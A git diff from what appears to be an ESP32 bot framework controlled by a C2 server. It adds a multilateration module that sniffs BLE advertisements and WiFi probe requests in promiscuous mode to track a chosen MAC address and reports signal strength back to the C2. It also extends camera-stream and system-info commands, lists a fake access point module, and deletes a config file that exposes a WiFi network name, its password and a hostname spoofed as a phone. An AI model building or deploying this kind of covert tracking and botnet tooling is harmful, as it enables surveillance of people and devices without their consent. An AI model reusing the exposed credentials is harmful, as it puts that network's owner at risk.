start_stream(argv[0], (uint16_t)atoi(argv[1])); + // Copie défensive (au cas où argv pointe vers un buffer volatile) + char ip[32] = {0}; + char port_s[32] = {0}; + strlcpy(ip, argv[0] ? argv[0] : "", sizeof(ip)); + strlcpy(port_s, argv[1] ? argv[1] : "", sizeof(port_s)); + + // Trim espaces (début/fin) pour gérer "5000\r\n" etc. + char *p = port_s; + while (*p && isspace((unsigned char)*p)) p++; + + // Extraire uniquement les digits au début + char digits[8] = {0}; // "65535" max + size_t di = 0; + while (*p && isdigit((unsigned char)*p) && di < sizeof(digits) - 1) { + digits[di++] = *p++; + } + digits[di] = '\0'; + + // Si aucun digit trouvé -> invalid + if (di == 0) { + ESP_LOGE(TAG, "invalid port (raw='%s')", port_s); + // Dump hex pour debug (hyper utile) + ESP_LOG_BUFFER_HEX(TAG, port_s, strnlen(port_s, sizeof(port_s))); + msg_error(TAG, "invalid port", req); + return -1; + } + + unsigned long port_ul = strtoul(digits, NULL, 10); + if (port_ul == 0 || port_ul > 65535) { + ESP_LOGE(TAG, "invalid port value (digits='%s')", digits); + msg_error(TAG, "invalid port", req); + return -1; + } + uint16_t port = (uint16_t)port_ul; + + // IP check via inet_pton (robuste) + struct in_addr addr; + if (inet_pton(AF_INET, ip, &addr) != 1) { + ESP_LOGE(TAG, "invalid IP address: '%s'", ip); + msg_error(TAG, "invalid ip", req); + return -1; + } + + ESP_LOGI(TAG, "parsed: ip='%s' port=%u (raw_port='%s')", ip, port, port_s); + start_stream(ip, port); return 0; } + + static int cmd_cam_stop(int argc, char **argv, const char *req, diff --git a/espilon_bot/components/mod_recon/mod_mlat.c b/espilon_bot/components/mod_recon/mod_mlat.c new file mode 100644 index 0000000..143383e --- /dev/null +++ b/espilon_bot/components/mod_recon/mod_mlat.c @@ -0,0 +1,796 @@ +/** + * @file mod_mlat.c + * @brief Multilateration Scanner Module (BLE + WiFi) + * + * This module turns an ESP32 into an RSSI scanner for multilateration. + * Supports both BLE and WiFi modes, switchable at runtime from C2. + * Position is configured from C2, and RSSI readings are sent back via TCP. + * + * Supports two coordinate systems: + * - GPS (lat/lon in degrees) for outdoor tracking with real maps + * - Local (x/y in meters) for indoor tracking with floor plans + * + * Commands: + * mlat config gps - Set GPS position (degrees) + * mlat config local - Set local position (meters) + * mlat config - Backward compat: GPS mode + * mlat mode - Set scanning mode + * mlat start - Start scanning for target MAC + * mlat stop - Stop scanning + * mlat status - Show current config and state + * + * Data format sent to C2: + * MLAT:G;;; - GPS coordinates + * MLAT:L;;; - Local coordinates (meters) + */ + +#include +#include +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "esp_log.h" +#include "esp_err.h" +#include "nvs_flash.h" + +/* BLE */ +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" + +/* WiFi */ +#include "esp_wifi.h" +#include "esp_event.h" + +#include "command.h" +#include "utils.h" + +#if defined(CONFIG_RECON_MODE_MLAT) + +/* ============================================================ + * CONFIG + * ============================================================ */ +#define TAG "MLAT" + +#define SEND_INTERVAL_MS 2000 /* Send aggregated RSSI every 2s */ +#define RSSI_HISTORY_SIZE 10 /* Keep last N readings for averaging */ +#define CHANNEL_HOP_MS 200 /* WiFi channel hop interval */ + +/* ============================================================ + * TYPES + * ============================================================ */ +typedef enum { + MLAT_MODE_NONE = 0, + MLAT_MODE_BLE, + MLAT_MODE_WIFI +} mlat_mode_t; + +typedef enum { + COORD_GPS = 0, /* lat/lon (degrees) */ + COORD_LOCAL /* x/y (meters) */ +} coord_type_t; + +/* WiFi frame header for promiscuous mode */ +typedef struct { + unsigned frame_ctrl:16; + unsigned duration_id:16; + uint8_t addr1[6]; /* Destination */ + uint8_t addr2[6]; /* Source */ + uint8_t addr3[6]; /* BSSID */ + unsigned seq_ctrl:16; +} __attribute__((packed)) wifi_mgmt_hdr_t; + +/* ============================================================ + * STATE + * ============================================================ */ +static bool mlat_configured = false; +static bool mlat_running = false; +static mlat_mode_t mlat_mode = MLAT_MODE_BLE; /* Default to BLE */ + +/* Hardware init state */ +static bool ble_initialized = false; +static bool wifi_promisc_enabled = false; + +/* Scanner position (set via mlat config) */ +static coord_type_t coord_type = COORD_GPS; +static double scanner_lat = 0.0; /* GPS latitude (degrees) */ +static double scanner_lon = 0.0; /* GPS longitude (degrees) */ +static double scanner_x = 0.0; /* Local X position (meters) */ +static double scanner_y = 0.0; /* Local Y position (meters) */ + +/* Target MAC */ +static uint8_t target_mac[6] = {0}; +static char target_mac_str[20] = {0}; + +/* RSSI history for averaging */ +static int8_t rssi_history[RSSI_HISTORY_SIZE]; +static size_t rssi_count = 0; +static size_t rssi_index = 0; + +/* Task handles */ +static TaskHandle_t send_task_handle = NULL; +static TaskHandle_t hop_task_handle = NULL; + +/* WiFi current channel */ +static uint8_t current_channel = 1; + +/* ============================================================ + * UTILS + * ============================================================ */ +static bool parse_mac_str(const char *input, uint8_t *mac_out) +{ + char clean[13] = {0}; + int j = 0; + + for (int i = 0; input[i] && j < 12; i++) { + char c = input[i]; + if (c == ':' || c == '-' || c == ' ') + continue; + if (!isxdigit((unsigned char)c)) + return false; + clean[j++] = toupper((unsigned char)c); + } + + if (j != 12) return false; + + for (int i = 0; i < 6; i++) { + char b[3] = { clean[i*2], clean[i*2+1], 0 }; + mac_out[i] = (uint8_t)strtol(b, NULL, 16); + } + return true; +} + +static void mac_to_str(const uint8_t *mac, char *out, size_t len) +{ + snprintf(out, len, "%02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); +} + +static int8_t get_average_rssi(void) +{ + if (rssi_count == 0) return 0; + + int32_t sum = 0; + size_t count = (rssi_count < RSSI_HISTORY_SIZE) ? rssi_count : RSSI_HISTORY_SIZE; + + for (size_t i = 0; i < count; i++) { + sum += rssi_history[i]; + } + + return (int8_t)(sum / (int32_t)count); +} + +static void add_rssi_reading(int8_t rssi) +{ + rssi_history[rssi_index] = rssi; + rssi_index = (rssi_index + 1) % RSSI_HISTORY_SIZE; + if (rssi_count < RSSI_HISTORY_SIZE) { + rssi_count++; + } +} + +static void reset_rssi_history(void) +{ + memset(rssi_history, 0, sizeof(rssi_history)); + rssi_count = 0; + rssi_index = 0; +} + +static const char *mode_to_str(mlat_mode_t mode) +{ + switch (mode) { + case MLAT_MODE_BLE: return "BLE"; + case MLAT_MODE_WIFI: return "WiFi"; + default: return "none"; + } +} + +/* ============================================================ + * BLE CALLBACK + * ============================================================ */ +static void ble_scan_cb(esp_gap_ble_cb_event_t event, + esp_ble_gap_cb_param_t *param) +{ + if (!mlat_running || mlat_mode != MLAT_MODE_BLE) return; + + if (event != ESP_GAP_BLE_SCAN_RESULT_EVT || + param->scan_rst.search_evt != ESP_GAP_SEARCH_INQ_RES_EVT) + return; + + /* Check if this is our target */ + if (memcmp(param->scan_rst.bda, target_mac, 6) != 0) + return; + + /* Store RSSI reading */ + add_rssi_reading(param->scan_rst.rssi); +} + +/* ============================================================ + * WIFI PROMISCUOUS CALLBACK + * ============================================================ */ +static void IRAM_ATTR wifi_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) return; + + /* Only interested in management frames (probe requests, etc.) */ + if (type != WIFI_PKT_MGMT) return; + + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; + wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload; + + /* Check if source MAC (addr2) matches our target */ + if (memcmp(hdr->addr2, target_mac, 6) != 0) return; + + /* Store RSSI reading */ + add_rssi_reading(pkt->rx_ctrl.rssi); +} + +/* ============================================================ + * WIFI CHANNEL HOP TASK + * ============================================================ */ +static void channel_hop_task(void *arg) +{ + (void)arg; + + while (mlat_running && mlat_mode == MLAT_MODE_WIFI) { + vTaskDelay(pdMS_TO_TICKS(CHANNEL_HOP_MS)); + + if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) break; + + current_channel = (current_channel % 13) + 1; + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + } + + hop_task_handle = NULL; + ESP_LOGI(TAG, "channel hop task stopped"); + vTaskDelete(NULL); +} + +/* ============================================================ + * SEND TASK - Periodically send RSSI to C2 + * ============================================================ */ +static void mlat_send_task(void *arg) +{ + (void)arg; + + char msg[128]; + + while (mlat_running) { + vTaskDelay(pdMS_TO_TICKS(SEND_INTERVAL_MS)); + + if (!mlat_running) break; + + if (rssi_count > 0) { + int8_t avg_rssi = get_average_rssi(); + + /* + * Send MLAT data to C2 via msg_info + * Format GPS: MLAT:G;;; + * Format Local: MLAT:L;;; + * The C2 will parse messages starting with "MLAT:" and extract the data + */ + if (coord_type == COORD_GPS) { + snprintf(msg, sizeof(msg), "MLAT:G;%.6f;%.6f;%d", + scanner_lat, scanner_lon, avg_rssi); + ESP_LOGD(TAG, "sent: GPS=(%.6f,%.6f) rssi=%d (avg of %d)", + scanner_lat, scanner_lon, avg_rssi, rssi_count); + } else { + snprintf(msg, sizeof(msg), "MLAT:L;%.2f;%.2f;%d", + scanner_x, scanner_y, avg_rssi); + ESP_LOGD(TAG, "sent: local=(%.2f,%.2f)m rssi=%d (avg of %d)", + scanner_x, scanner_y, avg_rssi, rssi_count); + } + + msg_info(TAG, msg, NULL); + } + } + + send_task_handle = NULL; + ESP_LOGI(TAG, "send task stopped"); + vTaskDelete(NULL); +} + +/* ============================================================ + * BLE INIT / DEINIT + * ============================================================ */ +static bool ble_init(void) +{ + if (ble_initialized) { + return true; + } + + esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT(); + + esp_err_t ret = esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT); + if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) { + ESP_LOGE(TAG, "bt mem release failed: %s", esp_err_to_name(ret)); + return false; + } + + ret = esp_bt_controller_init(&bt_cfg); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "bt controller init failed: %s", esp_err_to_name(ret)); + return false; + } + + ret = esp_bt_controller_enable(ESP_BT_MODE_BLE); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "bt controller enable failed: %s", esp_err_to_name(ret)); + return false; + } + + ret = esp_bluedroid_init(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "bluedroid init failed: %s", esp_err_to_name(ret)); + return false; + } + + ret = esp_bluedroid_enable(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "bluedroid enable failed: %s", esp_err_to_name(ret)); + return false; + } + + ret = esp_ble_gap_register_callback(ble_scan_cb); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "gap register callback failed: %s", esp_err_to_name(ret)); + return false; + } + + esp_ble_scan_params_t scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x50, + .scan_window = 0x30, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE + }; + + ret = esp_ble_gap_set_scan_params(&scan_params); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "set scan params failed: %s", esp_err_to_name(ret)); + return false; + } + + ble_initialized = true; + ESP_LOGI(TAG, "BLE initialized"); + return true; +} + +static bool ble_start_scan(void) +{ + esp_err_t ret = esp_ble_gap_start_scanning(0); /* 0 = continuous */ + if (ret != ESP_OK) { + ESP_LOGE(TAG, "start BLE scanning failed: %s", esp_err_to_name(ret)); + return false; + } + return true; +} + +static void ble_stop_scan(void) +{ + esp_ble_gap_stop_scanning(); +} + +/* ============================================================ + * WIFI PROMISCUOUS INIT / DEINIT + * ============================================================ */ +static bool wifi_promisc_init(void) +{ + if (wifi_promisc_enabled) { + return true; + } + + /* Enable promiscuous mode */ + esp_err_t ret = esp_wifi_set_promiscuous(true); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "set promiscuous failed: %s", esp_err_to_name(ret)); + return false; + } + + /* Register callback */ + ret = esp_wifi_set_promiscuous_rx_cb(wifi_promisc_cb); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "set promiscuous cb failed: %s", esp_err_to_name(ret)); + esp_wifi_set_promiscuous(false); + return false; + } + + /* Filter only management frames */ + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT + }; + esp_wifi_set_promiscuous_filter(&filter); + + wifi_promisc_enabled = true; + ESP_LOGI(TAG, "WiFi promiscuous mode enabled"); + return true; +} + +static void wifi_promisc_deinit(void) +{ + if (!wifi_promisc_enabled) return; + + esp_wifi_set_promiscuous(false); + wifi_promisc_enabled = false; + ESP_LOGI(TAG, "WiFi promiscuous mode disabled"); +} + +/* ============================================================ + * START / STOP SCANNING + * ============================================================ */ +static bool start_scanning(void) +{ + reset_rssi_history(); + + if (mlat_mode == MLAT_MODE_BLE) { + if (!ble_init()) return false; + if (!ble_start_scan()) return false; + } + else if (mlat_mode == MLAT_MODE_WIFI) { + if (!wifi_promisc_init()) return false; + + /* Start channel hop task for WiFi */ + BaseType_t ret = xTaskCreate( + channel_hop_task, + "mlat_hop", + 2048, + NULL, + 4, + &hop_task_handle + ); + if (ret != pdPASS) { + ESP_LOGE(TAG, "failed to create hop task"); + wifi_promisc_deinit(); + return false; + } + } + + /* Start send task */ + BaseType_t ret = xTaskCreate( + mlat_send_task, + "mlat_send", + 4096, + NULL, + 5, + &send_task_handle + ); + if (ret != pdPASS) { + ESP_LOGE(TAG, "failed to create send task"); + if (mlat_mode == MLAT_MODE_BLE) { + ble_stop_scan(); + } else { + wifi_promisc_deinit(); + } + return false; + } + + return true; +} + +static void stop_scanning(void) +{ + if (mlat_mode == MLAT_MODE_BLE) { + ble_stop_scan(); + } + else if (mlat_mode == MLAT_MODE_WIFI) { + wifi_promisc_deinit(); + } +} + +/* ============================================================ + * COMMAND: mlat config + * mlat config gps - GPS coordinates (degrees) + * mlat config local - Local coordinates (meters) + * mlat config - Backward compat: GPS mode + * ============================================================ */ +static int cmd_mlat_config(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc < 2) { + msg_error(TAG, "usage: mlat config [gps|local] ", req); + return -1; + } + + char msg[100]; + + /* Check if first arg is coordinate type */ + if (argc == 3 && strcasecmp(argv[0], "gps") == 0) { + /* GPS mode: mlat config gps */ + double lat = strtod(argv[1], NULL); + double lon = strtod(argv[2], NULL); + + if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) { + msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req); + return -1; + } + + coord_type = COORD_GPS; + scanner_lat = lat; + scanner_lon = lon; + mlat_configured = true; + + snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon); + msg_info(TAG, msg, req); + ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon); + } + else if (argc == 3 && strcasecmp(argv[0], "local") == 0) { + /* Local mode: mlat config local */ + double x = strtod(argv[1], NULL); + double y = strtod(argv[2], NULL); + + coord_type = COORD_LOCAL; + scanner_x = x; + scanner_y = y; + mlat_configured = true; + + snprintf(msg, sizeof(msg), "Local position: (%.2f, %.2f) meters", x, y); + msg_info(TAG, msg, req); + ESP_LOGI(TAG, "configured local: x=%.2f y=%.2f", scanner_x, scanner_y); + } + else if (argc == 2) { + /* Backward compat: mlat config -> GPS mode */ + double lat = strtod(argv[0], NULL); + double lon = strtod(argv[1], NULL); + + if (lat < -90.0 || lat > 90.0 || lon < -180.0 || lon > 180.0) { + msg_error(TAG, "invalid GPS coords (lat:-90~90, lon:-180~180)", req); + return -1; + } + + coord_type = COORD_GPS; + scanner_lat = lat; + scanner_lon = lon; + mlat_configured = true; + + snprintf(msg, sizeof(msg), "GPS position: (%.6f, %.6f)", lat, lon); + msg_info(TAG, msg, req); + ESP_LOGI(TAG, "configured GPS: lat=%.6f lon=%.6f", scanner_lat, scanner_lon); + } + else { + msg_error(TAG, "usage: mlat config [gps|local] ", req); + return -1; + } + + return 0; +} + +/* ============================================================ + * COMMAND: mlat mode + * ============================================================ */ +static int cmd_mlat_mode(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc != 1) { + msg_error(TAG, "usage: mlat mode ", req); + return -1; + } + + if (mlat_running) { + msg_error(TAG, "stop scanning first", req); + return -1; + } + + const char *mode_str = argv[0]; + + if (strcasecmp(mode_str, "ble") == 0) { + mlat_mode = MLAT_MODE_BLE; + } + else if (strcasecmp(mode_str, "wifi") == 0) { + mlat_mode = MLAT_MODE_WIFI; + } + else { + msg_error(TAG, "invalid mode (use: ble, wifi)", req); + return -1; + } + + char msg[32]; + snprintf(msg, sizeof(msg), "mode set to %s", mode_to_str(mlat_mode)); + msg_info(TAG, msg, req); + + ESP_LOGI(TAG, "mode changed to %s", mode_to_str(mlat_mode)); + return 0; +} + +/* ============================================================ + * COMMAND: mlat start + * ============================================================ */ +static int cmd_mlat_start(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc != 1) { + msg_error(TAG, "usage: mlat start ", req); + return -1; + } + + if (mlat_running) { + msg_error(TAG, "already running", req); + return -1; + } + + if (!mlat_configured) { + msg_error(TAG, "not configured - run 'mlat config [gps|local] ' first", req); + return -1; + } + + /* Parse target MAC */ + if (!parse_mac_str(argv[0], target_mac)) { + msg_error(TAG, "invalid MAC address", req); + return -1; + } + mac_to_str(target_mac, target_mac_str, sizeof(target_mac_str)); + + mlat_running = true; + + if (!start_scanning()) { + mlat_running = false; + msg_error(TAG, "scan start failed", req); + return -1; + } + + char msg[128]; + if (coord_type == COORD_GPS) { + snprintf(msg, sizeof(msg), "scanning for %s at GPS(%.6f, %.6f) [%s]", + target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode)); + ESP_LOGI(TAG, "started: target=%s GPS=(%.6f,%.6f) mode=%s", + target_mac_str, scanner_lat, scanner_lon, mode_to_str(mlat_mode)); + } else { + snprintf(msg, sizeof(msg), "scanning for %s at local(%.2f, %.2f)m [%s]", + target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode)); + ESP_LOGI(TAG, "started: target=%s local=(%.2f,%.2f)m mode=%s", + target_mac_str, scanner_x, scanner_y, mode_to_str(mlat_mode)); + } + msg_info(TAG, msg, req); + + return 0; +} + +/* ============================================================ + * COMMAND: mlat stop + * ============================================================ */ +static int cmd_mlat_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; + (void)argv; + (void)ctx; + + if (!mlat_running) { + msg_error(TAG, "not running", req); + return -1; + } + + mlat_running = false; + stop_scanning(); + + msg_info(TAG, "stopped", req); + ESP_LOGI(TAG, "stopped"); + return 0; +} + +/* ============================================================ + * COMMAND: mlat status + * ============================================================ */ +static int cmd_mlat_status(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; + (void)argv; + (void)ctx; + + char msg[180]; + const char *coord_str = (coord_type == COORD_GPS) ? "GPS" : "Local"; + + if (!mlat_configured) { + snprintf(msg, sizeof(msg), "not configured | mode=%s", mode_to_str(mlat_mode)); + msg_info(TAG, msg, req); + return 0; + } + + /* Format position based on coord type */ + char pos_str[60]; + if (coord_type == COORD_GPS) { + snprintf(pos_str, sizeof(pos_str), "GPS=(%.6f,%.6f)", scanner_lat, scanner_lon); + } else { + snprintf(pos_str, sizeof(pos_str), "local=(%.2f,%.2f)m", scanner_x, scanner_y); + } + + if (mlat_running) { + int8_t avg = get_average_rssi(); + if (mlat_mode == MLAT_MODE_WIFI) { + snprintf(msg, sizeof(msg), + "running [%s] | %s | target=%s | rssi=%d (%d) | ch=%d", + mode_to_str(mlat_mode), pos_str, + target_mac_str, avg, rssi_count, current_channel); + } else { + snprintf(msg, sizeof(msg), + "running [%s] | %s | target=%s | rssi=%d (%d samples)", + mode_to_str(mlat_mode), pos_str, + target_mac_str, avg, rssi_count); + } + } else { + snprintf(msg, sizeof(msg), + "stopped | mode=%s | %s", + mode_to_str(mlat_mode), pos_str); + } + + msg_info(TAG, msg, req); + return 0; +} + +/* ============================================================ + * COMMAND DEFINITIONS + * ============================================================ */ +static const command_t cmd_mlat_config_def = { + .name = "mlat", + .sub = "config", + .help = "Set position: mlat config [gps|local] ", + .handler = cmd_mlat_config, + .ctx = NULL, + .async = false, + .min_args = 2, + .max_args = 3 +}; + +static const command_t cmd_mlat_mode_def = { + .name = "mlat", + .sub = "mode", + .help = "Set scan mode: mlat mode ", + .handler = cmd_mlat_mode, + .ctx = NULL, + .async = false, + .min_args = 1, + .max_args = 1 +}; + +static const command_t cmd_mlat_start_def = { + .name = "mlat", + .sub = "start", + .help = "Start scanning: mlat start ", + .handler = cmd_mlat_start, + .ctx = NULL, + .async = false, + .min_args = 1, + .max_args = 1 +}; + +static const command_t cmd_mlat_stop_def = { + .name = "mlat", + .sub = "stop", + .help = "Stop scanning", + .handler = cmd_mlat_stop, + .ctx = NULL, + .async = false, + .min_args = 0, + .max_args = 0 +}; + +static const command_t cmd_mlat_status_def = { + .name = "mlat", + .sub = "status", + .help = "Show MLAT status", + .handler = cmd_mlat_status, + .ctx = NULL, + .async = false, + .min_args = 0, + .max_args = 0 +}; + +/* ============================================================ + * REGISTER + * ============================================================ */ +void mod_mlat_register_commands(void) +{ + command_register(&cmd_mlat_config_def); + command_register(&cmd_mlat_mode_def); + command_register(&cmd_mlat_start_def); + command_register(&cmd_mlat_stop_def); + command_register(&cmd_mlat_status_def); + ESP_LOGI(TAG, "commands registered (BLE+WiFi)"); +} + +#endif /* CONFIG_RECON_MODE_MLAT */ diff --git a/espilon_bot/components/mod_system/cmd_system.c b/espilon_bot/components/mod_system/cmd_system.c index 2b9587f..c0c51ee 100644 --- a/espilon_bot/components/mod_system/cmd_system.c +++ b/espilon_bot/components/mod_system/cmd_system.c @@ -98,18 +98,79 @@ static int cmd_system_uptime( return 0; } +/* ============================================================ + * COMMAND: system_info + * ============================================================ */ +static int cmd_system_info( + int argc, + char **argv, + const char *req, + void *ctx +) { + (void)argc; + (void)argv; + (void)ctx; + + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + uint32_t heap_free = esp_get_free_heap_size(); + uint64_t uptime_sec = esp_timer_get_time() / 1000000ULL; + + char buf[512]; + int len = 0; + + len += snprintf(buf + len, sizeof(buf) - len, + "chip=%s cores=%d flash=%s heap=%"PRIu32" uptime=%llus modules=", + CONFIG_IDF_TARGET, + chip_info.cores, + (chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external", + heap_free, + (unsigned long long)uptime_sec + ); + + // List loaded modules + int first = 1; +#ifdef CONFIG_MODULE_NETWORK + len += snprintf(buf + len, sizeof(buf) - len, "%snetwork", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_FAKEAP + len += snprintf(buf + len, sizeof(buf) - len, "%sfakeap", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_RECON + #ifdef CONFIG_RECON_MODE_CAMERA + len += snprintf(buf + len, sizeof(buf) - len, "%scamera", first ? "" : ","); + first = 0; + #endif + #ifdef CONFIG_RECON_MODE_MLAT + len += snprintf(buf + len, sizeof(buf) - len, "%smlat", first ? "" : ","); + first = 0; + #endif +#endif + + if (first) { + len += snprintf(buf + len, sizeof(buf) - len, "none"); + } + + msg_info(TAG, buf, req); + return 0; +} + /* ============================================================ * COMMAND REGISTRATION * ============================================================ */ static const command_t system_cmds[] = { { "system_reboot", 0, 0, cmd_system_reboot, NULL, false }, { "system_mem", 0, 0, cmd_system_mem, NULL, false }, - { "system_uptime", 0, 0, cmd_system_uptime, NULL, false } + { "system_uptime", 0, 0, cmd_system_uptime, NULL, false }, + { "system_info", 0, 0, cmd_system_info, NULL, false } }; void mod_system_register_commands(void) { - ESP_LOGI(TAG, "Registering system commands"); + ESPILON_LOGI_PURPLE(TAG, "Registering system commands"); for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) { command_register(&system_cmds[i]); diff --git a/espilon_bot/main/Kconfig b/espilon_bot/main/Kconfig index ec0031e..fa7cfcd 100644 --- a/espilon_bot/main/Kconfig +++ b/espilon_bot/main/Kconfig @@ -102,9 +102,12 @@ config RECON_MODE_CAMERA bool "Enable Camera Reconnaissance" default n -config RECON_MODE_BLE_TRILAT - bool "Enable BLE Trilateration Reconnaissance" +config RECON_MODE_MLAT + bool "Enable MLAT (Multilateration) Module" default n + help + Enable multilateration positioning using RSSI measurements. + Mode (BLE or WiFi) is selected at runtime from C2. endmenu @@ -123,4 +126,52 @@ config CRYPTO_NONCE endmenu +################################################ +# Logging +################################################ +menu "Logging" + +choice ESPILON_LOG_LEVEL + prompt "Default log level" + default ESPILON_LOG_LEVEL_INFO + +config ESPILON_LOG_LEVEL_ERROR + bool "Error" + +config ESPILON_LOG_LEVEL_WARN + bool "Warn" + +config ESPILON_LOG_LEVEL_INFO + bool "Info" + +config ESPILON_LOG_LEVEL_DEBUG + bool "Debug" + +config ESPILON_LOG_LEVEL_VERBOSE + bool "Verbose" + +endchoice + +config ESPILON_LOG_CMD_REG_VERBOSE + bool "Verbose command registration logs" + default n + help + If enabled, log each command registration. + Otherwise, a single summary line is printed. + +config ESPILON_LOG_C2_VERBOSE + bool "Verbose C2 command logs" + default n + help + If enabled, print the full C2 command block + (name, argc, request id, args). + +config ESPILON_LOG_BOOT_SUMMARY + bool "Show boot summary header" + default y + help + Print a BOOT SUMMARY header at startup. + +endmenu + endmenu diff --git a/espilon_bot/main/bot-lwip.c b/espilon_bot/main/bot-lwip.c index d8b3f07..e78e162 100644 --- a/espilon_bot/main/bot-lwip.c +++ b/espilon_bot/main/bot-lwip.c @@ -12,8 +12,46 @@ #include "command.h" #include "cmd_system.h" +/* Module headers */ +#ifdef CONFIG_MODULE_NETWORK +#include "cmd_network.h" +#endif + +#ifdef CONFIG_MODULE_FAKEAP +#include "cmd_fakeAP.h" +#endif + +#ifdef CONFIG_MODULE_RECON +#include "cmd_recon.h" +#endif + static const char *TAG = "MAIN"; +static esp_log_level_t espilon_log_level_from_kconfig(void) +{ +#if defined(CONFIG_ESPILON_LOG_LEVEL_ERROR) + return ESP_LOG_ERROR; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_WARN) + return ESP_LOG_WARN; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_INFO) + return ESP_LOG_INFO; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_DEBUG) + return ESP_LOG_DEBUG; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_VERBOSE) + return ESP_LOG_VERBOSE; +#else + return ESP_LOG_INFO; +#endif +} + +static void espilon_log_init(void) +{ + esp_log_level_set("*", espilon_log_level_from_kconfig()); +#ifdef CONFIG_ESPILON_LOG_BOOT_SUMMARY + ESPILON_LOGI_PURPLE(TAG, "===== BOOT SUMMARY ====="); +#endif +} + static void init_nvs(void) { esp_err_t ret = nvs_flash_init(); @@ -27,10 +65,10 @@ static void init_nvs(void) void app_main(void) { + espilon_log_init(); ESP_LOGI(TAG, "Booting system"); init_nvs(); - vTaskDelay(pdMS_TO_TICKS(1200)); /* ===================================================== * Command system @@ -39,26 +77,34 @@ void app_main(void) command_async_init(); // Async worker (Core 1) mod_system_register_commands(); + /* Register enabled modules */ #ifdef CONFIG_MODULE_NETWORK -#include "cmd_network.h" mod_network_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "Network module loaded"); +#endif -#elif defined(CONFIG_MODULE_FAKEAP) -#include "cmd_fakeAP.h" +#ifdef CONFIG_MODULE_FAKEAP mod_fakeap_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "FakeAP module loaded"); +#endif -#elif defined(CONFIG_MODULE_RECON) -#include "cmd_recon.h" +#ifdef CONFIG_MODULE_RECON #ifdef CONFIG_RECON_MODE_CAMERA mod_camera_register_commands(); - #elif defined(CONFIG_RECON_MODE_BLE_TRILAT) - mod_ble_trilat_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "Camera module loaded"); + #endif + #ifdef CONFIG_RECON_MODE_MLAT + mod_mlat_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "MLAT module loaded"); #endif #endif + command_log_registry_summary(); + /* ===================================================== * Network backend * ===================================================== */ + vTaskDelay(pdMS_TO_TICKS(1200)); if (!com_init()) { ESP_LOGE(TAG, "Network backend init failed"); return; diff --git a/espilon_bot/sdkconfig.defaults b/espilon_bot/sdkconfig.defaults deleted file mode 100644 index aa3166f..0000000 --- a/espilon_bot/sdkconfig.defaults +++ /dev/null @@ -1,16 +0,0 @@ -CONFIG_ID="f34592e0" -CONFIG_WIFI_SSID="Livebox-CC80" -CONFIG_WIFI_PASS="PqKXRmcprmeWChcfQD" -CONFIG_SERVER_IP="192.168.1.13" -CONFIG_SERVER_PORT=2626 -CONFIG_MBEDTLS_CHACHA20_C=y -CONFIG_LWIP_IPV4_NAPT=y -CONFIG_LWIP_IPV4_NAPT_PORTMAP=y -CONFIG_LWIP_IP_FORWARD=y -CONFIG_LWIP_LOCAL_HOSTNAME="pixel-8-pro" -CONFIG_ENABLE_CAMERA=n - -# Bluetooth configuration -CONFIG_BT_ENABLED=y -CONFIG_BT_BLUEDROID_ENABLED=y -CONFIG_BT_BLE_ENABLED=y diff --git a/tools/c2/.env.example b/tools/c2/.env.example new file mode 100644 index 0000000..1bcd23f --- /dev/null +++ b/tools/c2/.env.example @@ -0,0 +1,47 @@ +# ESPILON C2 Configuration +# Copy this file to .env and adjust values + +# =================== +# C2 Server +# =================== +C2_HOST=0.0.0.0 +C2_PORT=2626 + +# =================== +# Camera Server +# =================== +# UDP receiver for camera frames +UDP_HOST=0.0.0.0 +UDP_PORT=5000 